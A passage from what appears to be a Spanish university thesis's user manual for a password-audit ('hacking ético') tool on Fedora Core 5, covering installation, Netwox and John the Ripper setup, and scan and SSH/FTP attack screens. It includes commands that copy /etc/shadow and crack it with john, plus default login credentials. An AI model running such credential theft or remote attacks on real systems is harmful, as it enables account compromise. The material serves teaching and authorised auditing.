
desarrollo, el árbol del kernel y documentación.

Requiere al menos 1.5 GB en instalaciones básicas. Debe considerarse el

software a utilizar a futuro. Para uso general, se recomiendan no menos de 5

GB y, de ser posible, considere un tamaño óptimo de hasta 8 GB en

instalaciones promedio.

/tmp

En éste se almacenan todos los ficheros temporales que generan los

distintos programas.

Page 34: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

19

Requiere al menos 350 MB y puede asignarse hasta 2 GB o más

dependiendo de la carga de trabajo y tipo de aplicaciones. Si por ejemplo el

sistema cuenta con un grabador de DVD, será necesario asignar a /tmp el

espacio suficiente para almacenar una imagen de disco DVD, es decir, al

menos 4.2 GB.

/var

Corresponde a la partición de datos de servicios.

Requiere al menos 512 MB en estaciones de trabajo sin servicios. En

servidores regularmente se le asigna al menos la mitad del disco duro.

/home

Corresponde a la partición de datos de usuarios. Es donde se colocan los

directorios para cada usuario con los perfiles de cada cuenta.

En estaciones de trabajo se asigna al menos la mitad del disco duro a esta

partición.

Por costumbre (y experiencia) recomiendo crear particiones independientes

para /boot, / (raíz),

/home, /var y swap. También es aconsejable una para /usr y /tmp.

Haz clic sobre manual y pulsaremos "Siguiente".

Page 35: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

20

6.1. Configuración del disco:

Hay varios lugares donde instalar Linux

❖ En un disco duro nuevo

❖ En una partición libre

❖ En espacio libre

6.1.1. Si tenemos un disco duro nuevo:

En este caso seleccionaremos el disco, y si en la gráfica aparece algo

como "Free" o "Free Space" pulsaremos sobre "Nueva" pero si no

aparece pulsaremos sobre "Modificar".

6.1.2. Si tenemos una partición libre:

En este caso pulsaremos sobre "Modificar".

Gráfico No. 12 Añadir Partición

Nos permite añadir una partición

Page 36: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

21

6.1.3. Si tenemos espacio libre:

Entonces pulsaremos sobre "Nueva".

6.2. "Nueva":

Aquí configuraremos una nueva partición con el espacio libre

disponible.

En punto de montaje seleccionamos "/"

En el sistema de archivos seleccionamos "Ext3"

El tamaño dependerá del espacio libre.

Seleccionamos la casilla "Comprobar errores"

Pulsamos en "Crear"

6.3. Modificar:

Cuando tenemos una partición libre pero no queremos conservar los

datos la transformaremos en una partición Linux.

En punto de montaje seleccionamos "/"

En el sistema de archivos seleccionamos "Ext3"

Seleccionamos la casilla "Comprobar errores"

Pulsamos sobre "Aceptar"

6.4. Creación de una partición "Swap":

Para crear una necesitaremos espacio libre, solo es necesaria cuando

se disponga de poca memoria.

Page 37: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

22

Pulsamos en "Nuevo"

En el sistema de archivos elija "Linux Swap"

Seleccione el tamaño que creas necesario

Dale a "Crear"

Por supuesto pulsamos "Siguiente"

7. Configuración del gestor de arranque:

Gráfico No. 13 Configuración del gestor de arranque

Se instala el sistema gestor de arranque (GRUB)

En esta pantalla debemos configurar cual de de los dos sistemas

operativos será el que arranque por defecto (al cabo de unos 4

segundos). Para ello seleccionaremos a uno de los dos sistemas

operativos, también, podemos cambiar de nombre, seleccionando uno,

pulsando sobre modificar y cambias el nombre.

Pulsamos "Siguiente"

Page 38: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

23

8. Configuración de la red:

Aquí cada uno tiene sus parámetros, si no sabe como hacerlo llama a su

proveedor de servicios.

Pulsamos "Siguiente"

Gráfico No. 14 Configuración de red

Configuración del dispositivo (puerta de enlace, DNS primario y secundario)

9. Configuración del firewall:

Gráfico No. 15 Configuración del firewall

Permite la elección entre alto, intermedio y ningún firewall

Page 39: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

24

Linux viene equipado con un firewall propio, al no ser que quieras

mucha protección, seleccionaremos el nivel medio.

Pulsamos "Siguiente"

10. Soporte para idioma adicional:

Si quieres incluir algún idioma mas...

Si no "Siguiente"

Gráfico No. 16. Soporte adicional del idioma

Permite la elección de un idioma secundario

11. Seleccionar el uso horario:

En el mapa seleccionamos América - Guayaquil

Pulsamos "Siguiente"

Page 40: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

25

Gráfico No. 17 Selección del huso horario

Permite elección del huso horario seleccionando la ubicación en el mapa

12. Contraseña del Root:

Gráfico No. 18 Configurar contraseña de root

Permite introducir la contraseña de root

En los sistemas UNIX existen dos tipos de usuario:

❖ El Root, superusuario o administrador

❖ El usuario normal

Page 41: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

26

¡Es importante que guardes esta contraseña, si la pierdes no

podrás cambiar las configuraciones!

Clic en "Siguiente"

13. Configuración de la autentificación de la red:

Aquí se pueden establecer las contraseñas para restringir el acceso a

internet.

"Siguiente"

Gráfico No. 19 Configuración de la autenticación

14. Selección de paquetes:

Esta pantalla es muy importante porque en ella seleccionamos lo

paquetes (programas) que queremos instalar, personalmente prefiero

KDE a Gnome pero puedes instalar los dos para que los veas.

Page 42: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

27

15. Antes de instalar:

Gráfico No. 20 Selección de grupos de paquetes

Nos permite seleccionar los paquetes que deseamos instalar

En esta parte es necesario recalcar, que se deberá instalar imperativamente:

❖ Los paquetes de desarrollo del sistema, los paquetes de ingeniería y

científico.

❖ Los paquetes que correspondan a los aplicativos de java ( instalarlos

todos, sin omisión alguna)

❖ Los paquetes de la bases de datos, en particular la de postgre, que es

en la cual se va a desarrollar el proyecto.

En la medida de lo posible, sería aconsejable instalar casi todos los paquetes

de la distribución, pudiendo omitir los de oficina y productividad, y los de

soporte de idiomas, el resto debería instalarse y después cuando ya esté el

sistema operativo en operación, se irá descartando los no necesarios.

Page 43: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

28

Aquí comienza la instalación, pulsa sobre "Siguiente"

16. Instalando...

Gráfico No. 21 Instalación de paquetes

Nos muestra el estado en que va la instalación

La instalación durara un rato (depende del ordenador que tengas). Después

se realizarán las configuraciones que hagan falta de la instalación inicial y se

puede proceder con las configuraciones siguientes:

Page 44: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPITULO II

Configuraciones Básicas del Fedora Core 5.0

Debemos tener configurada principalmente la red en correcto estado, para

poder operar con el programa correctamente siguiendo los siguientes pasos:

Configuraciones básicas de red

En /etc/sysconfig/network-scripts

Editar el archivo ifcfg-eth0 o el de la interfaz de la tarjeta de red

Colocarle la IP correspondiente a la red a la cual vamos a auditar.

Hacer el resto de configuraciones necesarias.

Un ejemplo básico sería como el que sigue:

# VIA Technologies, Inc. VT6105 [Rhine-III]

DEVICE=eth0

BOOTPROTO=none

BROADCAST=192.168.100.255

HWADDR=00:11:95:8a:0e:aa

IPADDR=192.168.100.100

NETMASK=255.255.255.0

NETWORK=192.168.100.0

ONBOOT=yes

TYPE=Ethernet

USERCTL=no

IPV6INIT=no

PEERDNS=yes

Page 45: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

30

En este caso estamos saliendo por la interfaz eth0 y le colocamos una IP

privada de la clase C, como se puede observar.

Si la maquina ya tiene una correcta configuración de red, ya no nos

preocuparemos por realizar estos pasos.

Esta es la configuración básica más importante. Si se requiere

configuraciones de red más avanzadas se puede consultar con cualquier

manual de Linux del Internet.

Hacemos el levantamiento del servicio:

[root@seminario~] service network restart

Y luego verificamos con:

[root@seminario~] ifconfig

eth0 Link encap:Ethernet HWaddr 00:11:95:8A:0E:AA

inet addr:192.168.100.100 Bcast:192.168.100.255 Mask:255.255.255.0

UP BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Interrupt:17 Base address:0x6f00

Page 46: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

31

eth1 Link encap:Ethernet HWaddr 00:0B:6A:3E:07:BA

inet addr:192.168.100.101 Bcast:192.168.100.255 Mask:255.255.255.0

UP BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Interrupt:18 Base address:0xcc00

Y ya podemos ver que nuestra maquina ya tiene una IP y esta lista para

trabajar.

Una vez levantada la red, procedemos con lo siguiente:

En el cd de auditoria de passwords entregado se encuentra una carpeta

llamada hacking_etico, montar la unidad de cd, extraer el archivo y copiarlo

en la ruta /root/ para poder operar el programa sin ningún problema.

En la carpeta utilitarios del proyecto se encuentran todas las herramientas,

manuales y paquetes de instalación para poder operar y modificar en caso de

ser necesario el programa aquí entregado. Para empezar a desarrollar el

programa necesitamos instalar el IDE, el entorno gráfico de desarrollo. En

este caso lo vamos a hacer por medio de la herramienta llamada NetBeans

5.5, que es un entorno de desarrollo muy completo y me provee de gran

cantidad de clases de ejemplo y manejo excelente de diseño de interfaces.

Page 47: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

32

Podemos instalarlo del archivo con el nombre:

jdk-1_5_0_11-nb-5_5-linux-ml.bin

En una consola gráfica bastará con darle doble click al archivo, para esto y

para todas las demás instalaciones de paquetes que se realicen, se deberá

ser un superusuario (root) y verificar que los archivos tengan los respectivos

permisos de ejecución.

Al darle doble click se abre una ventana de instalación al puro estilo

Windows, y se procede a instalar de una manera fácil y rápida.

Desde una consola de texto se procederá a rutearse a donde se encuentre el

archivo, para luego ejecutar el ya conocido rpm:

[root@seminario~] cd /root/hacking_etico/utilitarios --> la ruta completa en

donde reside el programa y los utilitarios del proyecto

[root@seminario~]rpm -hiv jdk-1_5_0_11-nb-5_5-linux-ml.bin--> instalación

del paquete

Si el rpm falla, se recomienda bajar el rpm de la aplicación o el paquete tar

correspondiente a la aplicación aquí descrita.

Page 48: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

33

Estos paquetes, los binarios y el código fuente de los paquetes se los puede

conseguir de:

http://www.java.sun.com

http://www.netbeans.org

De las cuales se bajarán los paquetes correspondientes para la instalación.

Nota: si se cuenta ya con una versión instalada de NetBeans inferior a la

actual, se deberá actualizar el jdk a la versión jdk-1.5-11 o superior para que

el proyecto pueda funcionar. En el NetBeans 5.5 ya viene incluido todo.

Una vez instalado el IDE de java, procedemos a la instalación de los demás

paquetes que vienen con el cd del proyecto:

• De la carpeta Netwox que se encuentra en utilitarios instalamos el

Netwag y el Netwig para posteriormente instalar el Netwox, el resto de

paquetes son manuales de ayuda sobre la herramienta.

• Descomprimimos los archivos, y nos ayudamos con el archivo

INSTALL que viene en cada paquete.

• Instalaremos primero el Netwig, luego el Netwag y al final el Netwox,

cualquier dependencia de paquetes se lo puede hallar los mismos en

los cds de distribución de Fedora Core.

Page 49: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

34

• Comprobemos que Netwox funciona digitando en una consola de

texto:

[root@seminario~] netwox

Nos saldrá lo siguiente:

######################## MAIN MENU #########################

0 - leave netwox

3 - search tools

4 - display help of one tool

5 - run a tool selecting parameters on command line

6 - run a tool selecting parameters from keyboard

a + information

b + network protocol

c + application protocol

d + sniff (capture network packets)

e + spoof (create and send packets)

f + record (file containing captured packets)

g + client

h + server

i + ping (check if a computer if reachable)

j + traceroute (obtain list of gateways)

k + scan (computer and port discovery)

l + network audit

m + brute force (check if passwords are weak)

n + remote administration

o + tools not related to network

Select a node (key in 03456abcdefghijklmno): 0

Page 50: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

35

Si pudimos ver la pantalla anterior, está bien instalada la herramienta, que es

la que nos va a dar la “mano” para poder hacer la auditoria de los passwords

de una maquina remota.

Con la primera herramienta funcionando, procedemos con lo siguiente:

Procedemos a instalar la herramienta de ataque John_the_ripper del paquete

llamado john-1.7.2.tar.gz que se encuentra en la carpeta utilitarios del

proyecto. El cracker se entrega ya con los ejecutables listos para funcionar,

pero en el caso de que no funcionen, se necesita crearlos de nuevo para

poder usar el programa.

Hagamos una prueba sencilla:

A modo de prueba, copie Ud. sus archivos de passwords que se encuentran

en:

/etc-->

[root@seminario~] cp /etc/passwd /root/hacking_etico/utilitarios/john-1.7.2/run

// el archivo de passwords del sistema

[root@seminario~]cp /etc/shadow /root/hacking_etico/utilitarios/john-1.7.2/run

// si los archivos están en modo shadow

Page 51: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

36

Y estando ya en la ruta respectiva, ejecute los siguientes pasos:

[root@seminario~] cd /root/hacking_etico/utilitarios/john-1.7.2/run

[root@seminario~] umask 077

[root@seminario~] unshadow /root/hacking_etico/utilitarios/john-

1.7.2/run/passwd /root/hacking_etico/utilitarios/john-1.7.2/run/shadow >

analizar

(analizar es un nombre cualquiera, puede colocar el que desee, es el archivo

a donde se van a colocar el archivo de password y unshadow ( con su código

de encriptación visible )

[root@seminario~]./john analizar (o el nombre del archivo que le haya

puesto)

Luego de esto, el analizador empieza el proceso de escaneo de claves del

archivo, en caso de fallar el rastreo, se deberá hacer una instalación del

John_the_ripper en la maquina local, siguiendo los pasos que se detallan en

el documento INSTALL del paquete, para luego, una vez obtenidos los

ejecutables que genero la instalación, copiarlos a la dirección de la carpeta

John_the_ripper de mi proyecto. A modo general se evitará hacer esto último,

ya que en la mayoría de los casos, con los ejecutables entregados y ya

compilados para trabajar, bastará para poder trabajar con el programa.

Page 52: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

37

Si falla la ejecución del ripper con la prueba antes mencionada, se deberá

también tener en cuenta lo siguiente:

Los ejecutables del proyecto se los ejecuta anteponiendo el ./, ejemplo:

./ejecutate

Copie el contenido de la carpeta john del cd a la ruta

/root/hacking_etico/utilitarios/ de la maquina local, y asegurarse que los

ejecutables de la carpeta tengan permisos de ejecución.

Si la prueba tuvo éxito, ya podemos proceder a utilizar el programa.

Además, podemos proceder a instalar las herramientas opcionales del

proyecto:

Instalación de Wine

Una herramienta muy interesante es wine, el cual me permite ejecutar

archivos del tipo archivo.exe y archivo.com en mi Linux. Esto es, se puede

instalar cualquier o casi cualquier ejecutable .exe en la maquina. En el

apartado trucos y tips se menciona una ventaja de esto, como se lo puede

aprovechar para nuestros propósitos de la auditoria de passwords.

Page 53: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

38

Se instala desde el paquete proporcionado en el proyecto:

wine-0.9.27.tar.bz2

Descomprimiendo el paquete y siguiendo los pasos de instalación del archivo

INSTALL de la aplicación.

Si se necesitan paquetes adicionales, se los encuentra fácilmente en los cd's

de la distribución de Fedora Core 5.0.

La instalación demora 1 a 2 horas en promedio, no afecta en nada a las

seguridades del equipo, ya que con este tipo de instalación se podrán

ejecutar solo ciertos archivos, además esto estará monitorizado y controlado

siempre por el administrador del sistema.

Si la instalación tuvo éxito, se puede instalar como programas de ayuda

opcionales:

• winscp382setupintl2.exe

• putty.exe

El primero es un manager de conexiones remotas vía SSH y el segundo es el

ya conocido putty de windows, el cual también me permite establecer

conexiones remotas con otros equipos.

Page 54: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

39

Las funcionalidades de estas herramientas y sus posibles usos se explicarán

en el apartado de cómo funciona el proyecto, y en trucos y tips del proyecto.

En este punto vale la pena advertir de nuevo: “Las herramientas aquí

entregadas son solo con fines de auditoria y pruebas didácticas, no se

deberá hacer un mal uso de las mismas, siempre se deberá hacer bajo la

supervisión del administrador del sistema, bajo ningún concepto podrá ser

usado con fines que no sean para los cuales fue creado...”

Otro punto importante: los scripts que se encuentran en el programa NO

deberán ser ejecutados sino es desde el mismo programa en java, no se

deben ejecutar de modo individual, a menos que se indique lo contrario. La

ejecución de uno o más de estos scripts sin haber leído al pie de la letra este

manual, podría perjudicar gravemente el equipo en donde se está ejecutando

el programa, con lo cual, su uso está limitado solo en máquinas las cuales no

tengan servicios importantes configurados.

Así mismo, estos scripts no deberán ser usados con fines que no sean los

indicados en este manual, solo se los usará con fines didácticos y de

auditoria, quedando en criterio del administrador su uso para otros fines.

Page 55: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

40

Con estos puntos claros, empezaremos a detallar el uso y funcionamiento de

los procesos del programa, de los scripts ejecutados y las herramientas que

se estén usando en el mismo.

Nuestro proyecto, una vez configurado correctamente todo lo anteriormente

mencionado, se lo puede ejecutar desde una consola de texto:

[root@seminario~] java -jar hacking-etico.jar

El archivo hacking-etico.jar se encuentra en la carpeta hacking-etico del

proyecto, este archivo deberá residir en la ruta--> /root al igual que la carpeta

hacking-etico original.

Si se desea editar el proyecto, se facilita el código fuente, se deberá abrir en

una consola gráfica, el IDE de desarrollo de NetBeans que se encuentra en

la barra de menú.

A continuación detallamos el uso y la composición de los procesos del

sistema en conjunto.

Page 56: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPITULO III

Pantallas Principales del Proyecto

Al arrancar el proyecto se abre la siguiente ventana, la cual nos sirve para

realizar la autenticación al sistema. Se permiten máximo 3 intentos, sino se

denegará el acceso, la cual tiene la siguiente presentación:

Pantalla Ingreso de la Clave

Gráfico No. 22 Pantalla Ingreso

Pantalla de autenticación del administrador del Sistema

Se puede apreciar en la ventana, la parte en la cual se ingresan los datos, el

nombre de usuario y la clave de acceso. Los valores para acceder por

defecto son:

user : hacker

passwd : cisc@seminario

Page 57: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

42

Se pueden ver 3 botones, el de autenticación permite mandar los datos del

usuario y password a la base del sistema, para validar o no el ingreso de

usuario, el botón limpiar me permite borrar los datos ingresados en las cajas

de texto, y el botón salir, me permite dar de baja el programa.

También existe un menú en la parte superior de la pantalla, el cual me

permite visualizar los créditos del programa, y también el menú para salir de

la ejecución del programa.

Si tuvimos éxito en la autenticación veremos el siguiente cuadro de

bienvenida:

Gráfico No. 23 Pantalla de Bienvenida

Después de que la autenticación es un éxito presenta esta pantalla

Si no fue así, el programa se dejara de ejecutar, y habrá que reiniciar de

nuevo todo. Después de esto, se podrá ver la pantalla principal de programa.

Page 58: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

43

Pantalla Principal del Programa

Gráfico No. 24 Pantalla Principal

Nos muestra los aplicativos del programa

En la siguiente pantalla, se podrá apreciar al lado izquierdo del usuario, un

grupo de botones, los cuales me permitirán manejar todos los aplicativos del

programa, a los cuales se puede acceder también por medio del menú que

se encuentra en la parte superior de la misma.

Las funcionalidades de los botones y el menú se explican a continuación:

SCAN.- Será el primer botón que debamos utilizar, es el que me permitirá

abrir un módulo para el escaneo de ips y puertos de la IP o ips activas de la

red, para censar posibles máquinas a ser auditadas.

Page 59: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

44

REPORTES.- Me permite visualizar los reportes de los datos obtenidos del

análisis actual o de análisis anteriores que se hayan realizado.

ESTADÍSTICAS.- Me permite obtener las estadísticas que pueda generar el

sistema con los datos que posea actualmente o con datos que estén

guardados en la base de datos.

AYUDA.- Se despliega la ayuda contextual, ya sea la ayuda general o la

ayuda sobre una pantalla en especial..

ACERCA_DE.- Los créditos del programa, es decir, los realizadores del

mismo...Al editar el programa no olvidar colocar a los autores originales del

mismo. Programa lanzado bajo licencia GPL.

SALIR.- En cualquier lado que aparezca esta etiqueta, es la opción de salida

del sistema.

Los iconos del menú tienen la misma funcionalidad, se los explicará con

detalle más adelante.

Lo primero que deberíamos hacer es presionar el botón de scan para

arrancar con el uso del programa, entonces, una vez hecho esto, se nos

desplegará la siguiente pantalla:

Page 60: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

45

Pantalla de Scan de IP y Puertos

Gráfico No. 25 Pantalla de Scan de IP y Puertos

Pantalla para scanear la red y verificar puertos abiertos

Esta es la primera pantalla de funcionalidad del proyecto, es decir, es una

ventana de la cual ya podemos obtener datos importantes. La explicación de

su uso a continuación:

Podemos ver que contiene el mismo menú contextual de la pantalla anterior,

el cual tiene la misma funcionalidad en esta y en todas las demás pantallas

que aparezca, con sus respectivos items anulados, ya que en algunos casos,

no nos interesa usar toda la funcionalidad sobre una pantalla en especial.

Como vemos, en la parte izquierda de la pantalla se puede ver un monitor, el

cual me va a mostrar en primer caso las ips activas de la red, y más abajo,

los puertos abiertos para una IP que se haya escogido.

Page 61: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

46

En el lado derecho de la pantalla del usuario, se podrá ver dos bloques de

cuadros de texto, los cuales me mostrarán todo lo que vaya pasando en el

transcurso de la ejecución del programa, un log el cual nos permitirá ver

todos los procesos y cosas que se están ejecutando por debajo del

programa.

Los resultados de la ejecución de esta y todas las demás ventanas, se lo

puede ver por medio de una ventana DOS del sistema, por lo general la que

se esté ejecutando conjunto con el proyecto.

La funcionalidad es la siguiente:

Debemos presionar primero el botón de scan_ip, este botón manda la orden

al modulo interno para que empiece a scanear las ips activas del sistema.

Nosotros no necesitamos indicarle ninguna IP ni nada. El sistema es capaz

de reconocer bajo que red se está trabajando, y automáticamente empieza a

escanear ips activas dentro del rango de la IP donde se esté trabajando.

Una vez obtenido el resultado, si existen ips activas en la red, se llenará el

cuadro correspondiente a las ips que se encuentren activas. Después de

esto, se deberá escoger una de ellas, para empezar a rastrear que puertos

tiene abiertos, en este caso en particular, nos interesa que el puerto 21 y 22

estén abiertos, los cuales corresponden a los servicios Ftp y SSH.

Page 62: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

47

Cuando aplastamos el botón scan_puertos, el sistema procede de manera

automática al rastreo de puertos abiertos sobre determinada ip, si no hemos

seleccionado ninguna dirección ip, el sistema nos muestra el mensaje de

error correspondiente.

El segundo cuadro de texto entonces. Se llenara con la información de los

puertos activos que tenga dicha ip. Esta comprobación nos puede servir

después para determinar si el exploit que hemos enviado durante el primer

ataque nos dejo el puerto activo, para poder hacer una auditoria posterior.

Los bloques de la derecha son los mensajes log, lo que está ocurriendo en

mi maquina, durante el transcurso del escaneo, en el cual se puede ver

información detallada de todos los eventos que están ocurriendo mientras se

realiza determinada operación.

Por último, en la parte inferior de la pantalla tenemos un grupo de botones,

los cuales describo a continuación:

LIMPIAR.- Botón que me permite borrar todos los datos desplegados en los

diferentes elementos de la pantalla, y llevar el sistema a un estado inicial

(reset).

Page 63: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

48

HACKEO.- Si el rastreo de puertos tuvo éxito, se activará este botón, en

caso contrario, se mantendrá inactivo, este botón me llevara a la consola en

donde puedo escoger los diversos tipos de ataque de auditoria que posee el

sistema.

Para modos de demostración didáctica se ha habilitado el ataque ssh_ftp

completo.

Recordar: el programa así como sus componentes y scripts de ejecución

son solo para uso didáctico y de demostración. No utilizar con otros fines

que no sean para los que fue creado el programa.

RETORNO PRINCIPAL.- Es un botón que me permite retornar a la pantalla

principal del proyecto, en el caso de que la pantalla haya dado algún tipo de

error. Se explica esto con más detalle en el manual técnico.

GUARDAR.- Guardar logs sobre los eventos que han ocurrido durante el

escaneo. Son archivos planos de registro, los cuales pueden ser consultados

en lo posterior (aun no implementado, como opcional)

La pantalla completa funcionando se puede apreciar a continuación:

Page 64: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

49

Gráfico No. 26 Pantalla de Scan de IP y Puertos

Al finalizar el escaneo nos muestra la IP y puertos obtenidos

Si tuvimos éxito en los pasos anteriores, se deberá presionar el botón de

hackeo, el cual nos llevará a la siguiente consola:

Gráfico No. 27 Pantalla de Ejecución de ataques

Nos muestra los distintos ataques a realizar

Page 65: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

50

En esta pantalla se encuentran las diferentes opciones de ataque que yo

puedo escoger, (en este caso particular será el botón Ataque combinado).

Cuenta con un menú el cual es estándar en todo el programa, con la misma

funcionalidad en todas las pantallas, además de los botones de las opciones

que me permitirán ejecutar el ataque.

Una vez conocida la IP y el puerto activo, procedemos a ejecutar el ataque,

según sea nuestra posibilidad.

Después de haber escogido la opción de ataque, se nos desplegará una

pantalla como la que sigue a continuación:

Gráfico No. 28 Ataque Ftp – Ssh

Este ataque accede a la maquina remota

Page 66: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

51

La pantalla anterior consta de los siguientes elementos que describo a

continuación:

Se ejecutará las primeras opciones habilitadas de la pantalla, que es el botón

de ataque de autenticación remota, el cual, a través de un ataque remoto,

buscará ganar acceso a la maquina remota, por medio del puerto 22 Ssh, en

conjunto con un ataque combinado ftp (Explicación a fondo más detallada

en el manual técnico)

El botón stop me permitirá detener el ataque, en caso de que esta haya caído

en error o este demorando más de lo esperado.

En el cuadro de texto ubicado abajo de los botones, se desplegará toda la

